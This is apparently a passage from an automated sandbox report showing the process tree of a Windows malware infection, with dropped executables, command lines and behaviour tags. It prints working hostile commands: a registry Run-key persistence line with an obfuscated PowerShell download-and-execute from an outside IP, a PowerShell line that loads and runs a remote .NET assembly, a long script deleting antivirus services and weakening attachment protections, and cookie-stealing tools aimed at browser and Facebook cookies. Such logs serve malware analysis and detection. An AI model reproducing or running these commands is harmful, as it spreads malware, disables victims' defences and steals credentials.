                                                                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:5456
                                                                                              • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1060
                                                                                            • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                              "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              • Checks whether UAC is enabled
                                                                                              • Drops file in Program Files directory
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:4276
                                                                                            • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                              "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4320
                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4940
                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                4⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:3580
                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                4⤵
                                                                                                  PID:5736
                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                  4⤵
                                                                                                    PID:4816
                                                                                              • C:\Users\Admin\Documents\i4kjdtz2qw1MphlaqEsd_RIP.exe
                                                                                                "C:\Users\Admin\Documents\i4kjdtz2qw1MphlaqEsd_RIP.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks BIOS information in registry
                                                                                                • Checks whether UAC is enabled
                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4044
                                                                                              • C:\Users\Admin\Documents\ok7w7oLDH8Q70lFMUK9eLgWX.exe
                                                                                                "C:\Users\Admin\Documents\ok7w7oLDH8Q70lFMUK9eLgWX.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1216
                                                                                                • C:\Users\Admin\Documents\ok7w7oLDH8Q70lFMUK9eLgWX.exe
                                                                                                  "C:\Users\Admin\Documents\ok7w7oLDH8Q70lFMUK9eLgWX.exe"
                                                                                                  3⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:6236
                                                                                              • C:\Users\Admin\Documents\uBmnjojf5JMU6a5QhMerYWTj.exe
                                                                                                "C:\Users\Admin\Documents\uBmnjojf5JMU6a5QhMerYWTj.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Checks SCSI registry key(s)
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                PID:664
                                                                                              • C:\Users\Admin\Documents\MYux7XYtgEk6svH3NhebZxMg.exe
                                                                                                "C:\Users\Admin\Documents\MYux7XYtgEk6svH3NhebZxMg.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:828
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\6675088921.exe"
                                                                                                  3⤵
                                                                                                    PID:4176
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\6675088921.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\6675088921.exe"
                                                                                                      4⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      PID:2804
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6675088921.exe"
                                                                                                        5⤵
                                                                                                          PID:5692
                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                            timeout /T 10 /NOBREAK
                                                                                                            6⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:5824
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "MYux7XYtgEk6svH3NhebZxMg.exe" /f & erase "C:\Users\Admin\Documents\MYux7XYtgEk6svH3NhebZxMg.exe" & exit
                                                                                                      3⤵
                                                                                                        PID:5720
                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                          taskkill /im "MYux7XYtgEk6svH3NhebZxMg.exe" /f
                                                                                                          4⤵
                                                                                                          • Kills process with taskkill
                                                                                                          PID:6020
                                                                                                    • C:\Users\Admin\Documents\hp_gZtnc_Ka1LMGuGauVwzn9.exe
                                                                                                      "C:\Users\Admin\Documents\hp_gZtnc_Ka1LMGuGauVwzn9.exe"
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:3260
                                                                                                      • C:\ProgramData\Runtimebroker.exe
                                                                                                        "C:\ProgramData\Runtimebroker.exe"
                                                                                                        3⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Drops startup file
                                                                                                        PID:4956
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.2''+''41''+''.19.5''+''2/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
                                                                                                          4⤵
                                                                                                          • Adds Run key to start application
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:4848
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
                                                                                                          4⤵
                                                                                                          • Blocklisted process makes network request
                                                                                                          PID:1724
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "powershell" Get-MpPreference -verbose
                                                                                                            5⤵
                                                                                                              PID:6040
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
                                                                                                              5⤵
                                                                                                                PID:5764
                                                                                                        • C:\Users\Admin\Documents\MuickieMvG8m310BTdgFjsNd.exe
                                                                                                          "C:\Users\Admin\Documents\MuickieMvG8m310BTdgFjsNd.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4004
                                                                                                        • C:\Users\Admin\Documents\KewFgx75u3_TDi5NfDd7oyF3.exe
                                                                                                          "C:\Users\Admin\Documents\KewFgx75u3_TDi5NfDd7oyF3.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:920
                                                                                                        • C:\Users\Admin\Documents\DsqXT4AcDkoeJs_yZP2lbfCX.exe
                                                                                                          "C:\Users\Admin\Documents\DsqXT4AcDkoeJs_yZP2lbfCX.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:3468
                                                                                                          • C:\Users\Admin\AppData\Roaming\3978083.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\3978083.exe"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1748
                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                              C:\Windows\system32\WerFault.exe -u -p 1748 -s 2108
                                                                                                              4⤵
                                                                                                              • Program crash
                                                                                                              PID:6980
                                                                                                          • C:\Users\Admin\AppData\Roaming\1832326.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\1832326.exe"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4516
                                                                                                        • C:\Users\Admin\Documents\7JIUkuPuFKgJhwjhqCT4Qzou.exe
                                                                                                          "C:\Users\Admin\Documents\7JIUkuPuFKgJhwjhqCT4Qzou.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:1328
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 660
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4504
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 672
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4788
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 756
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:5028
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 816
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3164
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1124
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            PID:4984
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1152
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4628
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1164
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1468
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "7JIUkuPuFKgJhwjhqCT4Qzou.exe" /f & erase "C:\Users\Admin\Documents\7JIUkuPuFKgJhwjhqCT4Qzou.exe" & exit
                                                                                                            3⤵
                                                                                                              PID:4408
                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                taskkill /im "7JIUkuPuFKgJhwjhqCT4Qzou.exe" /f
                                                                                                                4⤵
                                                                                                                • Kills process with taskkill
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4356
                                                                                                          • C:\Users\Admin\Documents\MSq9CpiK16WwuNxau5YRSBom.exe
                                                                                                            "C:\Users\Admin\Documents\MSq9CpiK16WwuNxau5YRSBom.exe"
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2868
                                                                                                            • C:\Users\Admin\AppData\Roaming\6735160.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\6735160.exe"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:3520
                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                C:\Windows\system32\WerFault.exe -u -p 3520 -s 2132
                                                                                                                4⤵
                                                                                                                • Program crash
                                                                                                                PID:5948
